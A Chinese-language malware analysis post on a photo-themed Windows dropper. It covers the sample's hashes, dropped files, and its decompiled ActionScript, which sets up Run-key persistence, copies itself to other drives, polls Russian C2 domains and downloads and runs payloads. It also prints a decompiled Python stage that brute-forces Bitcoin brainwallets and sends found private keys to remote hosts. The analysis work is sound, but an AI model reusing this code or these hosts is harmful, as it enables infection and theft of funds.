今天分析一例样本，该样本使用flask编写，使用MDM Zinc3打包成exe，使用文件夹图标，会在系统中除了C盘外所有驱动器根目录创建photo目录，将自身拷贝进去，诱导用户点击，会添加开机启动项，连接后台下载后续载荷。

样本基本信息

Verified:	Unsigned
Link date:	4:52 2010/11/3
Publisher:	n/a
Company:	Soft                                
Description:	Open photo                          
Product:	Photo                               
Prod version:	1.1.0.4        
File version:	1.1.0.4            
MachineType:	32-bit
MD5:	EAD9542D757366D77F887173A8EEC810
SHA1:	9AA2DFE10C4BA5AA030510E3B1CE17ADA1BE254D

使用UPX壳

icon是系统图片文件夹图标

分析过程

释放了这几个文件

将自身拷贝到系统开始目录下，并删除前面释放的几个文件

运行之后访问了这个域名www.psiassess.ru
提取到了释放的文件

文件名称: C:\Users\Administrator\AppData\Local\Temp\wrd-b70-9f8-13694c.~lk\0.mdd
MD5: 9eda6ac05d976773bec1a5ac2fc19c3b

C:\Users\Administrator\AppData\Local\Temp\wrd-b70-9f8-13694c.~lk\1.mdd
MD5: df9ffe8b2b937c3316bbead7821bee5d

C:\Users\Administrator\AppData\Local\Temp\wrd-b70-9f8-13694c.~lk\2.mdd
MD5: 3a9fff286cf967cfd251324c83bf4921

C:\Users\Administrator\AppData\Local\Temp\wrd-b70-9f8-13694c.~lk\3.mdd
MD5: 5168f1a61e75eef60cfd9b2356b2a033

C:\Users\Administrator\AppData\Local\Temp\wrd-b70-9f8-13694c.~lk\4.mdd
MD5: 5379c9da4eecad6bd87e16fa9bf77793

C:\Users\Administrator\AppData\Local\Temp\wrd-b70-9f8-13694c.~lk\~swd1.dat
MD5: a7f1d0df5413d14fab8566df4fdde1d9

C:\Users\Administrator\AppData\Local\Temp\wrd-b70-9f8-13694c.~lk\~swd1.swf
MD5: eeb736d65f89dbabdc5670f801c6d53b

使用pestudio进行查看，发现0.mdd-4.mdd为动态库，pdb如下，提供了两个导出函数，通过检索发现这是mdm Zinc 3.0这个工具的组件，用来将flask打包成exe的

导出函数
GetNumPlugins
GetPluginInstance

pdb路径
0.mdd,c:\MDM\Zinc3\mdmdialogs\Release\mdm_dialogs.pdb
1.mdd,c:\MDM\Zinc3\mdmfilesystem\Release\mdm_FileSystem.pdb
2.mdd,c:\MDM\Zinc3\mdm_forms\Release\mdm_forms.pdb
3.mdd,c:\MDM\Zinc3\mdmhttp\Release\mdm_HTTP.pdb
4.mdd,c:\MDM\Zinc3\mdmsystem\Release\mdm_System.pdb

_swd1.dat，swd1.swf这两个文件是flash文件，我们使用ffdec工具对其进行逆向

flash使用的action script语言，这种语言类似于javascript
反编译出来的as代码如下

mdm.Forms.MainForm.visible = true;
mdm.Forms.MainForm.alpha = 1;
mdm.Forms.MainForm.hideCaption(true);
System.useCodepage = true;
var go = "none";
var timer = 1;
var num = 0;
var win = 2;
name = mdm.Application.filename;
mdm.System.Registry.saveString(2,"\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run","Startup",mdm.System.Paths.programs + name);
function loadCommand()
{
   site = ["profbase.ru","psiassess.ru","topstatist.ru"];
   loadVariables("http://www." + site[Math.floor(Math.random() * 3)] + "/photo.txt?" + getTimer(),"button");
}
function copyFile()
{
   if(num == 9)
   {
      num = 0;
   }
   else
   {
      num++;
   }
   disk = ["D","E","F","G","H","I","J","K","L","M"];
   if(mdm.FileSystem.fileExists(disk[num] + ":\\Photo\\" + name) == false)
   {
      mdm.FileSystem.makeFolder(disk[num] + ":\\Photo");
      mdm.FileSystem.copyFile(mdm.System.Paths.programs + name,disk[num] + ":\\Photo\\" + name);
   }
}
function loadComplete()
{
   if(mdm.FileSystem.getFileDate(mdm.Application.path + name) == button.date)
   {
      loadVariables("http://www.profbase.ru/photo.php?pc=" + mdm.System.computerName + " " + mdm.System.winVerString,"");
   }
   keywords = button.keyword.split(",");
   urls = button.url.split(",");
   clearInterval(load);
   clearInterval(interval);
   interval = setInterval(command,1000);
   loadFile();
}
function command()
{
   if(timer == button.time / 1000)
   {
      timer = 1;
   }
   else
   {
      timer = timer + 1;
   }
   mdm.Application.bringToFront();
   windowList = mdm.System.getWindowList();
   var _loc1_ = 0;
   while(_loc1_ < windowList.length)
   {
      if(windowList[_loc1_][0] == "Пуск" || windowList[_loc1_][0] == "Start")
      {
         win = _loc1_ + 1;
         break;
      }
      _loc1_ = _loc1_ + 1;
   }
   _loc1_ = 0;
   while(_loc1_ < keywords.length)
   {
      windowList[win][0] = windowList[win][0].toLowerCase();
      if(windowList[win][0].indexOf(keywords[_loc1_]) > -1)
      {
         key = keywords[_loc1_];
         go = urls[_loc1_];
         num = _loc1_;
         break;
      }
      go = "none";
      _loc1_ = _loc1_ + 1;
   }
   if(go != "none")
   {
      mdm.Forms.MainForm.width = button.w * 1;
      mdm.Forms.MainForm.height = button.h * 1;
      mdm.Forms.MainForm.y = windowList[win][2] * 1 + button.x * 1;
      mdm.Forms.MainForm.x = windowList[win][3] * 1 + button.y * 1;
   }
   else
   {
      mdm.Forms.MainForm.width = 1;
      mdm.Forms.MainForm.height = 1;
   }
}
function loadFile()
{
   if(button.http.length > 10)
   {
      var _loc1_ = new mdm.HTTP();
      _loc1_.onBinaryTransferComplete = function()
      {
         if(button.http.indexOf(".swf") > -1)
         {
            mdm.Application.createForm("flash","transparent",button.c,1,1,1,1);
            mdm.FileSystem.deleteFile(button.c);
         }
         else
         {
            mdm.System.exec(button.c);
         }
      };
      _loc1_.getFile(button.http,"","",button.c);
   }
}
if(mdm.Application.path != mdm.System.Paths.programs)
{
   mdm.FileSystem.copyFile(mdm.Application.path + name,mdm.System.Paths.programs + name);
   mdm.Dialogs.BrowseFile.filterList = "Images|*.bmp;*.jpg;*.png;*.gif";
   open = mdm.Dialogs.BrowseFile.show();
   if(open != "false")
   {
      mdm.System.exec(open);
   }
   mdm.Application.exit();
}
else
{
   load = setInterval(loadCommand,10000);
   copy = setInterval(copyFile,10000);
}
button.onPress = function()
{
   go = "none";
};
mdm.Application.onAppChangeFocus = function(focus)
{
   if(focus.status == "true")
   {
      if(go != "none")
      {
         mdm.System.exec("http://" + go,"_self");
      }
      delete keywords.num;
      delete urls.num;
      go = "none";
   }
};

主要的恶意行为为
1.注册表中设置开机启动

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"Startup"="C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\1.exe"

2.在D-M盘符下，创建photo目录，将自身拷贝过去
3.请求下列三个域名

http://www.profbase.ru/photo.txt
http://www.psiassess.ru/photo.txt
http://www.topstatist.ru/photo.txt

这个链接的内容为

&ver=3.0&
&time=21600000&
&x=1&
&y=1&
&w=1&
&h=1&
&keyword=nil&
&url=nil&
&keywords=nil&
&urls=nil&
&http=http://194.147.84.197/python18&
&c=file5.exe&
&loadurl=http://194.147.84.197/python18&
&loadpc=file5.exe&
&date=21.01.2010&

请求http://194.147.84.197/python18，发现是一个pyinstaller打包的exe程序
样本的信息为

63e104fb8a1906ed70a4baf3f2672a70

将这个样本的python脚本提取出来,发现这样样本的打包时间为2014-04-30 13:54:04,这段python代码的功能不没有分析，以后有时间再仔细看。

# uncompyle6 version 3.9.0
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 2.7.13 |Continuum Analytics, Inc.| (default, May 11 2017, 13:17:26) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: address-in-addresses-26.py
# Compiled at: 2014-04-30 13:54:04
import hashlib, ctypes, ctypes.util, sys, os, glob, ssl, time, zlib, gzip, bz2, io, re, gc, json, pycurl, psutil, string, bisect, platform, threading, smtplib, winreg as reg, multiprocessing
from multiprocessing.dummy import Pool as ThreadPool
import random
from random import choice, sample, randint, randrange

def resource_path(relative_path):
    try:
        base_path = sys._MEIPASS
    except Exception:
        base_path = os.path.abspath('.')

    return os.path.join(base_path, relative_path)


libeay32 = ctypes.cdll.libeay32

def check_result(val, func, args):
    if val == 0:
        raise ValueError
    else:
        return ctypes.c_void_p(val)


libeay32.EC_KEY_new_by_curve_name.restype = ctypes.c_void_p
libeay32.EC_KEY_new_by_curve_name.errcheck = check_result

class KEY():

    def __init__(self):
        NID_secp256k1 = 714
        self.k = libeay32.EC_KEY_new_by_curve_name(NID_secp256k1)
        self.compressed = False
        self.POINT_CONVERSION_COMPRESSED = 2
        self.POINT_CONVERSION_UNCOMPRESSED = 4

    def __del__(self):
        if libeay32:
            libeay32.EC_KEY_free(self.k)
        self.k = None
        return

    def generate(self, secret=None):
        if secret:
            self.prikey = secret
            bn = libeay32.BN_new()
            priv_key = libeay32.BN_bin2bn(secret, 32, bn)
            group = libeay32.EC_KEY_get0_group(self.k)
            pub_key = libeay32.EC_POINT_new(group)
            bn_ctx = libeay32.BN_CTX_new()
            libeay32.EC_POINT_mul(group, pub_key, priv_key, None, None, bn_ctx)
            libeay32.EC_KEY_set_private_key(self.k, priv_key)
            libeay32.EC_KEY_set_public_key(self.k, pub_key)
            libeay32.EC_POINT_free(pub_key)
            libeay32.BN_free(bn)
            libeay32.BN_CTX_free(bn_ctx)
            return self.k
        else:
            return libeay32.EC_KEY_generate_key(self.k)
            return

    def get_pubkey(self):
        size = libeay32.i2o_ECPublicKey(self.k, 0)
        mb = ctypes.create_string_buffer(size)
        libeay32.i2o_ECPublicKey(self.k, ctypes.byref(ctypes.pointer(mb)))
        return mb.raw

    def get_secret(self):
        bn = libeay32.EC_KEY_get0_private_key(self.k)
        bytes = (libeay32.BN_num_bits(bn) + 7) / 8
        mb = ctypes.create_string_buffer(bytes)
        n = libeay32.BN_bn2bin(bn, mb)
        return mb.raw.rjust(32, chr(0))

    def set_compressed(self, compressed):
        self.compressed = compressed
        if compressed:
            form = self.POINT_CONVERSION_COMPRESSED
        else:
            form = self.POINT_CONVERSION_UNCOMPRESSED
        libeay32.EC_KEY_set_conv_form(self.k, form)


def dhash(s):
    return hashlib.sha256(hashlib.sha256(s).digest()).digest()


def rhash(s):
    h1 = hashlib.new('ripemd160')
    h1.update(hashlib.sha256(s).digest())
    return h1.digest()


b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'

def base58_encode(n):
    l = []
    while n > 0:
        n, r = divmod(n, 58)
        l.insert(0, b58_digits[r])

    return ('').join(l)


def base58_decode(s):
    n = 0
    for ch in s:
        n *= 58
        digit = b58_digits.index(ch)
        n += digit

    return n


def base58_encode_padded(s):
    res = base58_encode(int('0x' + s.encode('hex'), 16))
    pad = 0
    for c in s:
        if c == chr(0):
            pad += 1
        else:
            break

    return b58_digits[0] * pad + res


def base58_decode_padded(s):
    pad = 0
    for c in s:
        if c == b58_digits[0]:
            pad += 1
        else:
            break

    h = '%x' % base58_decode(s)
    if len(h) % 2:
        h = '0' + h
    res = h.decode('hex')
    return chr(0) * pad + res


def base58_check_encode(s, version=0):
    vs = chr(version) + s
    check = dhash(vs)[:4]
    return base58_encode_padded(vs + check)


def base58_check_decode(s, version=0):
    k = base58_decode_padded(s)
    v0, data, check0 = k[0], k[1:-4], k[-4:]
    check1 = dhash(v0 + data)[:4]
    if check0 != check1:
        raise BaseException('checksum error')
    if version != ord(v0):
        raise BaseException('version mismatch')
    return data


def gen_eckey(passphrase=None, secret=None, pkey=None, compressed=False, rounds=1, version=0):
    k = KEY()
    if passphrase:
        secret = passphrase.encode('utf8')
        for i in xrange(rounds):
            secret = hashlib.sha256(secret).digest()

    if pkey:
        secret = base58_check_decode(pkey, 128 + version)
        compressed = len(secret) == 33
        secret = secret[0:32]
    k.generate(secret)
    k.set_compressed(compressed)
    return k


def get_addr(k, version=0):
    pubkey = k.get_pubkey()
    secret = k.get_secret()
    hash160 = rhash(pubkey)
    addr = base58_check_encode(hash160, version)
    payload = secret
    if k.compressed:
        payload = secret + chr(1)
    pkey = base58_check_encode(payload, 128 + version)
    return (
     addr, pkey)


def reencode(pkey, fromversion=0, toversion=48):
    payload = base58_check_decode(pkey, 128 + fromversion)
    secret = payload
    pkey = base58_check_encode(payload, 128 + toversion)
    return get_addr(gen_eckey(pkey=pkey, compressed=True, version=toversion), version=toversion)


def getUserAgent():
    platform = choice(['Macintosh', 'Windows', 'X11'])
    if platform == 'Macintosh':
        os = choice(['68K', 'PPC'])
    else:
        if platform == 'Windows':
            os = 'Windows NT ' + choice(['5.0', '5.1', '5.2', '6.0', '6.1', '6.2', '6.3', '10.0'])
        else:
            if platform == 'X11':
                os = choice(['Linux i686', 'Linux x86_64'])
            browser = choice(['chrome', 'firefox', 'ie'])
            if browser == 'chrome':
                webkit = str(randint(500, 599))
                version = str(randint(0, 24)) + '.0' + str(randint(0, 1500)) + '.' + str(randint(0, 999))
                return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, live Gecko) Chrome/' + version + ' Safari/' + webkit
            if browser == 'firefox':
                year = str(randint(2000, 2020))
                month = str(randint(1, 12))
                if len(month) == 1:
                    '0' + month
                day = str(randint(1, 30))
                if len(day) == 1:
                    '0' + day
                gecko = year + month + day
                version = str(randint(1, 15)) + '.0'
                return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
        if browser == 'ie':
            version = str(randint(1, 10)) + '.0'
            engine = str(randint(1, 5)) + '.0'
            token = choice([choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; ', ''])
            return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'


def curl(url, timeout=35, ctimeout=30):
    try:
        get = pycurl.Curl()
        get.setopt(pycurl.URL, url)
        get.setopt(pycurl.USERAGENT, getUserAgent())
        get.setopt(pycurl.HTTPHEADER, ['Accept: text/html, image/jpeg, */*;q=0.4'])
        bytes = io.BytesIO()
        get.setopt(pycurl.WRITEFUNCTION, bytes.write)
        get.setopt(pycurl.FOLLOWLOCATION, 1)
        get.setopt(pycurl.MAXREDIRS, 5)
        get.setopt(pycurl.SSL_VERIFYPEER, 0)
        get.setopt(pycurl.SSL_VERIFYHOST, 0)
        get.setopt(pycurl.CONNECTTIMEOUT, ctimeout)
        get.setopt(pycurl.TIMEOUT, timeout)
        get.perform()
        code = get.getinfo(pycurl.RESPONSE_CODE)
        return bytes.getvalue()
    except pycurl.error as e:
        return str(e.args[0])


def encrypt(data):
    try:
        chars = 'zxcvbnmasdfghjklqwertyuiop'
        c = list(chars)
        c[::2], c[1::2] = c[1::2], c[::2]
        chars_replace = ('').join([ str(i) for i in c ])
        table = string.maketrans(chars, chars_replace)
        return data.translate(table)
    except:
        return data


def generate_wallet(phrase='', compressed=choice([False, True])):
    try:
        return get_addr(gen_eckey(passphrase=phrase, compressed=compressed)) + (phrase,)
    except:
        pass


def check_addresses(u, t, ver, phrases, wallets):
    try:
        win = '0'
        keys = []
        addresses = {}
        try:
            for file in reversed(['addresses01.zl1', 'addresses001.zl1', 'addresses0001.zl1', 'addresses00000001.zl1']):
                try:
                    path = os.path.join(os.environ['TEMP'], file)
                    with open(path, 'rb') as (f):
                        addresses = zlib.decompress(f.read())
                    break
                except:
                    if os.path.isfile(resource_path('addresses.zl1')):
                        path = resource_path('addresses.zl1')
                    else:
                        path = os.path.join(os.path.join(os.path.realpath(sys.path[0]), '.'), 'addresses.zl1')
                    with open(path, 'rb') as (f):
                        addresses = zlib.decompress(f.read())

            addresses = json.loads(addresses)
        except:
            pass

        if len(addresses) < 80000:
            return
        addresses['FYM'] = addresses['FYM'].replace('ZEHnszC$', '')
        addresses['6Qa'] = addresses['6Qa'].replace('FeudRUt$', '')
        addresses['4p5'] = addresses['4p5'].replace('cGy5DZm$', '')
        adr = str(len(addresses))[:4]
        try:
            keys0 = os.environ['TEMP'] + '\\keys0.txt'
            if os.path.isfile(keys0):
                with open(keys0, 'rb') as (f):
                    keys.extend(list(set(f.read().split())))
                win = platform.machine()[-4:] + platform.win32_ver()[0][0:4] + platform.node()[-2:]
        except:
            pass

        for i in xrange(len(phrases)):
            try:
                if len(wallets) < 1:
                    try:
                        lot = set([ phrases.pop() for g in xrange(1000) ])
                        pool = ThreadPool()
                        output = pool.map(generate_wallet, lot)
                        pool.close()
                        pool.join()
                        wallets.extend(output)
                    except:
                        if phrases:
                            wallets.append(generate_wallet(phrases.pop()))

                wallet = wallets.pop()
                address = wallet[0]
                key = wallet[1]
                phrase = wallet[2]
                if '$' + address[4:11] + '$' in addresses.get(address[1:4], ''):
                    keys.append(encrypt(ver + address + '$' + key + win + adr + '$' + phrase.replace(' ', '%20')))
                keys = list(set(keys))
                if not i % 1001 and len(keys):
                    keys = sample(keys, len(keys))
                    keys = [ k for k in keys if k.strip() != '' ]
                    curl('cpitest.ru/address.php?message=' + keys[0])
                    if curl('catell.ru/address.php?message=' + keys[0]) == '0':
                        keys.pop(0)
                if not i % 20001:
                    with open(keys0, 'wb') as (f):
                        f.write(('\n').join(keys))
                if not i % 100:
                    time.sleep(0.01)
            except:
                pass

    except:
        pass


def load_addresses(url):
    try:
        for file in ['addresses01.zl1', 'addresses001.zl1', 'addresses0001.zl1', 'addresses00000001.zl1']:
            time.sleep(5)
            try:
                path = os.path.join(os.environ['TEMP'], file)
                with open(path, 'rb') as (f):
                    strings = zlib.decompress(f.read())
                del strings
            except:
                with open(path, 'wb') as (f):
                    f.write(curl(url + file, 3060, 3000))

    except:
        pass


def choices(items, total, retry=0):
    try:
        keys = []
        s = sum(items.values())
        rnds = [ random.random() * s for i in xrange(total) ]
        items = sorted(items.items(), key=(lambda item: item[1]), reverse=True)
        for rnd in rnds:
            for i, w in enumerate(items):
                rnd -= w[1]
                if rnd < 0:
                    if w[0] not in keys:
                        keys.append(w[0])
                    break

        return keys
    except:
        pass


def per(item, total):
    return int(float(item) / total * 100)


def get_phrases(n, c, d):
    try:
        t = time.time()
        phrases = set()
        blackphrases = set()
        blacklinks = set()
        links = set((',wikipedia.org,wikileaks.org,wikiart.org,wikifur.com,wikinfo.org,wikitravel.org,wikirank.net,fandom.com,allmusic.com,britannica.com,encyclopedia.com,citizendium.org,infoplease.com,dotdashmeredith.com,orthodoxwiki.org,howstuffworks.com,library.wolfram.com,almanac.com,si.edu,openlibrary.org,presidency.ucsb.edu,catalog.loc.gov,medlineplus.gov,msdmanuals.com,hyperhistory.com,lib.umich.edu,nolo.com,findlaw.com,cia.gov,webopedia.com,edmunds.com,onelook.com,pantheon.org,forvo.com,bbc.com,bookfinder.com,realestateabc.com,medlineplus.gov,lexicool.com,onlineconversion.com,pdr.net,owl.purdue.edu,sports-reference.com,factcheck.org,worldcat.org,ourdocuments.gov,vos.ucsb.edu,bartleby.com').replace(',', ',http://www.')[1:].split(','))
        temp = os.environ['TEMP']
        for file in [('\\links.zl1', links), ('\\blacklinks.zl1', blacklinks), ('\\phrases.' + str(c) + '.zl1', phrases), ('\\blackphrases.' + str(c) + '.zl1', blackphrases)]:
            if os.path.isfile(temp + file[0]):
                with open(temp + file[0], 'rb') as (f):
                    file[1].update(zlib.decompress(f.read()).split('\r\n'))

        for i in xrange(1, 50000000):
            time.sleep(0.2)
            try:
                if int(time.strftime('%Y%m%d', time.localtime())) > d:
                    break
                if not links:
                    return
                link = sample(links, 1)[0]
                link = link.lower()
                domain = re.findall('https?://([-\\w.]*)/', link + '/', re.IGNORECASE)[0]
                if link[11:16] + link[::-len(link) // 3] in blacklinks and len(links) > 50:
                    links.discard(link)
                else:
                    if len(links) > 50:
                        blacklinks.add(link[11:16] + link[::-len(link) // 3])
                    html = curl(link, 5, 2)
                    html = re.sub('href=["\\\']?//|href=["\\\']?/', 'href="http://' + domain + '/', html)
                    hrefs = re.findall('href="(https?://[-.\\w/]{,90}[-\\w/]{,5})"', html)
                    hrefs = set(filter((lambda href: not re.findall('\\.(gif|ico|png|js|css|jpg|svg|ttf|woff)$', href, re.IGNORECASE)), hrefs))
                    hrefs = set(map((lambda href: href.lower()), hrefs))
                    if hrefs:
                        links.discard(link)
                    for href in hrefs:
                        blacklink = href[11:16] + href[::-len(href) // 3]
                        if blacklink not in blacklinks:
                            links.add(href)

                hrefs.clear()
                if len(links) > 200000:
                    links -= set(sample(links, 20000))
                if len(blacklinks) > 500000:
                    blacklinks -= set(sample(blacklinks, 50000))
                if len(phrases) > 20000:
                    phrases -= set(sample(phrases, 2000))
                if len(blackphrases) > 100000:
                    blackphrases -= set(sample(blackphrases, 10000))
                html = re.sub('\\&\\#039;', "'", html)
                lines = re.findall("(<title>|<h\\d>|<td>|<td [^>]*>|<p>|<p [^>]*>|<br ?/?>|\\r|\\n|[.!?]) *((?:[a-z']+ ){" + str(c - 1) + "}(?:[a-z']+[.,!?]?)) *(</title>|</h\\d>|</td></p>|<br ?/?>|\\r|\\n|[.,!?])", html, re.IGNORECASE)
                lines = {line[1] for line in lines}
                if len(lines) > 10:
                    for line in lines:
                        blackphrase = line[::-len(line) // 10]
                        if blackphrase in blackphrases:
                            continue
                        blackphrases.add(blackphrase)
                        phrases.add(line)

                if not i % 10 and len(phrases) > 100:
                    send = sample(phrases, 30)
                    if curl('cpitest.ru/phrases.php?file=phrases.' + str(c) + '.txt&message=' + (';').join(send).replace(' ', '%20')) == '0':
                        phrases.difference_update(send)
                if not i % 100:
                    for file in [('\\links.zl1', links), ('\\blacklinks.zl1', blacklinks), ('\\phrases.' + str(c) + '.zl1', phrases), ('\\blackphrases.' + str(c) + '.zl1', blackphrases)]:
                        with open(temp + file[0], 'wb') as (f):
                            f.write(zlib.compress(('\r\n').join(file[1]), 1))

            except:
                pass

    except:
        pass


if __name__ == '__main__':
    multiprocessing.freeze_support()
    alcohols = 'Abricontine, Absinthe, Advocat, Ale, Alpina, Amaretto, Amber, Amontiliado, Angostura, Anisette, Annata, Beer, Bellini, Bodega, Bourbon, Brandy, Bristol, Calvados, Campari, Cantina, Chablis, Chambraise, Champagne, Cider, Cocktail, Cognac, Colada, Cosmopolitan, Daikiri, Damiana, Dandelion, Digestif, Drambuie, Espumoso, rangelico, Garrafeira, Gin, Ginger, Harvey, Hennessy, Highball, Imbottigliatto, Izarra, Jagermeister, Jerez, Julep, Kahlua, Lager, Landwein, Liqueur, Malaga, Martini, Metodo, Mezcal, Mescal, Mohito, Mojito, Moonshine, Perlwein, Pisko, Porto, Portwein, Punch, Rose, Rum, Sake, Scheidam, Screwdriver, Shandy, Sheridan, Sheridans, Sherry, Spumante, Steinhager, Tequila, Tonic, Vermouth, Vinicola, Vodka, Weinprobe, Whiskey, Whisky, Wine, Wishniak'
    dogs = 'Admiral, Aidan, Alf, Alfred, Anakin, Apollo, Archie, Artemis, Atreyu, Baldrick, Balfour, Baloo, Bandit, Barney, Baron, Bastian, Bear, Benedict, Benny, Benson, Bentley, Bigy, Bimbo, Biscuit, Blade, Bliss, Blitz, Boomer, Boots, Brick, Brisk, Bruno, Buddy, Bullet, Buster, Butter, Caesar, Calder, Calvin, Carlin, Carter, Casper, Celt, Charles, Charley, Charlie, Chase, Chester, Chief, Chip, Clyde, Cooper, Corbin, Cosmo, Crown, Crystall, Damien, Darby, Devin, Dexter, Dingo, Disaster, Dobby, Dolan, Dominique, Doyle, Duke, Dusk, Dusty, Elliot, Emmett, Eowyn, Falkor, Faramir, Finn, Force, Forrest, Fox, Frank, Frankie, Fred, Friendly, Gaius, Gandalf, Garfield, Gentle, George, Ghost, Gizmo, Grape, Gus, Han, Hank, Harley, Harry, Hazel, Henry, Hide, Hobbes, Hobbit, Hudson, Humble, Iron, Jack, Jackson, Jake, Jareth, Jarvis, Jasper, Jax, Jay, Jerry, Jewel, Joffrey, Joker, Jordan, Journey, Junior, Kael, Kaydan, Kingston, Kobe, Ladd, Lark, Larson, Laser, Leo, Light, Lilo, Lipton, Logan, Loki, Lollipop, Louie, Lucky, Ludo, Luke, Lumpy, Luther, Magic, Manfred, Marley, Mars, Marty, Maui, Max, McFly, Melvin, Mercy, Merlin, Mick, Mickey, Midnight, Milo, Moose, Mowgli, Murphy, Murray, Neal, Newton, Nick, Noise, Nolan, Norman, Odo, Olaf, Oliver, Ollie, Oreo, Orion, Osborne, Oscar, Otis, Otto, Ozzy, Paddy, Patton, Peach, Percival, Percy, Petal, Precious, Prince, Pumpkin, Punch, Ralph, Ramsey, Raygun, Reiner, Remi, Rocky, Romeo, Ronan, Rowan, Rufus, Rylan, Salem, Sam, Sammy, Sauron, Scully, Sebastian, Septimus, Shakespeare, Sheldon, Sheriff, Sherlock, Sherman, Simba, Simon, Smith, Spate, Spenser, Spicy, Spike, Spock, Stanley, Stream, Strike, Sunny, Swen, Sylvester, Taddle, Teddy, Theo, Thomas, Thor, Toby, Tommy, Tucker, Tyler, Tyrian, Viscount, Vulcan, Waite, Wallace, Walter, Watson, Whisper, Whistle, Wild, William, Winnie, Wolf, Zac, Zack, Zeus, Ziggy'
    cats = 'Abby, Abigail, Alchemy, Alice, Amelli, Aneira, Angel, Anna, Annie, Aquila, Ariana, Arielle, Arlena, Arya, Astrid, Athena, Atreyu, Aurora, Aurra, Baby, Balmy, Beatrice, Bella, Belle, Bethany, Bitsy, Bloom, Bonnie, Brandy, Breena, Caitlin, Calista, Callie, Candy, Carly, Cersei, Charity, Charlotte, Cherlindrea, Cherry, Chika, Chime, Chloe, Cinnamon, Clementine, Cleo, Cleopatra, Clover, Clumsy, Coco, Cookie, Cora, Cordelia, Corra, Cupid, Cutie, Daisy, Darla, Delight, Destiny, Diana, Diva, Donna, Dori, Eleonor, Elive, Elizabeth, Ella, Ellie, Ellsa, Elora, Elsa, Emily, Emma, Enigma, Fable, Faith, Felicity, Fiona, Fleur, Florine, Flower, Fluffy, Foxy, Freya, Frisky, Fume, Gabby, Galadriel, Gemma, Geordi, Glinda, Glory, Grace, Gracie, Gwen, Hannah, Hearty, Hedwig, Helga, Honey, Hope, Idris, Iggy, Imogen, Iris, Isabelle, Isla, Isobel, Ivy, Izzy, Jade, Jane, Jasmine, Jazzy, Josie, Justice, Kael, Kamala, Kara, Kelly, Kiera, Kiki, Kitty, Kyle, Lace, Lanka, Layla, Leia, Lexi, Lila, Lili, Lily, Lina, Liquid, Lola, Lucy, Lulu, Luna, Lyra, Mable, Macy, Maggie, Magma, Maiden, Mamba, Marley, Marty, Mary, Matilda, Maya, Melanie, Melissa, Mia, Mila, Milky, Millie, Mimi, Mindy, MissKitty, Missy, Misty, Mittens, Molly, Myrtle, Mystery, Nala, Noira, Nova, Nyota, Olimpia, Olivia, Omega, Padma, Padme, Penelope, Penny, Phoebe, Piper, Pixi, Poppy, Princess, Quincy, Renesmee, Riley, Riple, Ripley, River, Romani, Rory, Rosie, Rowan, Roxy, Ruby, Sadie, Salena, Sassy, Scotia, Scout, Septimus, Serena, Shell, Sierra, Silky, Silly, Silver, Simba, Sinead, Smokey, Snickers, Sophie, Space, Spooky, Spring, Starry, Stella, Stormy, Sugar, Sunshine, Susan, Sydney, Tauriel, Teyla, Tinkerbell, Tutsi, Undy, Whoopi, Willow, Wilma, Winnie, Wise, Yuka, Yvetta, Zelda, Zoe, Zoey'
    mens = 'Aaron, Abbie, Abbott, Abel, Abie, Abner, Abraham, Abram, Adalbert, Adam, Addie, Addy, Adelbert, Adrian, Aidan, Aiden, Alan, Alastair, Alaster, Albert, Alec, Aleck, Alejandro, Alex, Alexander, Alexandra, Alf, Alfie, Alfonso, Alfred, Alger, Algernon, Algie, Algy, Alistair, Alister, Allan, Allen, Allister, Alonso, Alonzo, Alphonso, Alton, Alva, Alvah, Alvan, Alvin, Alwin, Alwyn, Ambie, Ambrose, Amos, Andrew, Andy, Angus, Anse, Ansel, Anselm, Anthony, Anton, Antonio, Antony, Apollo, Arch, Archibald, Archie, Aristotle, Armani, Arnie, Arnold, Aron, Arrow, Arthur, Artie, Arturo, Ashton, Atlas, Auden, Augie, Augustin, Augustine, Augustus, Aurelio, Austin, Avery, Baker, Baldie, Baldwin, Barnaby, Barnard, Barney, Barnie, Barrett, Barrie, Barry, Bart, Bartholomew, Bartlett, Bartley, Barty, Basie, Basil, Bass, Bat, Batty, Baxter, Baz, Ben, Benedict, Benjamin, Benjie, Benjy, Bennet, Bennett, Bennie, Benny, Bentlee, Bernard, Berney, Bernie, Bert, Berthold, Bertie, Bertram, Bertrand, Billie, Billy, Blair, Blake, Bob, Bobbie, Bobby, Bobo, Booker, Boris, Bowie, Brad, Bradford, Bradley, Brady, Bram, Brand, Branden, Brandon, Brave, Braxten, Brent, Brenton, Bret, Brett, Brian, Brix, Broderick, Brodie, Brody, Brose, Bruce, Bruno, Bryan, Bryant, Burt, Burton, Byron, Caleb, Calvin, Cameron, Camp, Carey, Carl, Carlos, Carol, Carrol, Carroll, Carry, Carter, Cary, Casey, Casimir, Caspar, Casper, Caspian, Cassidy, Cassius, Cater, Cecil, Ced, Cedar, Cedric, Chad, Chap, Charles, Charley, Charlie, Chas, Chase, Chauncey, Chester, Chet, Chris, Christian, Christopher, Christy, Chuck, Ciel, Clair, Clare, Clarence, Clark, Clarke, Claud, Claude, Clay, Clayton, Clem, Clement, Cliff, Clifford, Clint, Clinton, Clive, Cloud, Clyde, Cody, Cole, Colin, Collin, Connie, Connor, Conny, Conrad, Constantine, Corey, Cornelius, Corney, Corny, Cory, Cosmo, Craig, Criffer, Cris, Curt, Curtis, Cyril, Cyrus, Dale, Daniel, Danny, Darrel, Darrell, Darren, Darry, Darryl, Dartagnan, Darwin, Daryl, Dave, Davey, David, Davie, Davy, Dean, Deane, Delbert, Dell, Denis, Dennis, Denny, Derek, Derrick, Derry, Desmond, Devin, Dex, Dexter, Dick, Diego, Dillon, Diogo, Dob, Dolf, Dolph, Domenic, Domenick, Dominic, Dominick, Don, Donald, Donnie, Donny, Donovan, Dorian, Doug, Douglas, Douglass, Doyle, Drew, Duane, Dud, Duddy, Dudley, Duke, Duncan, 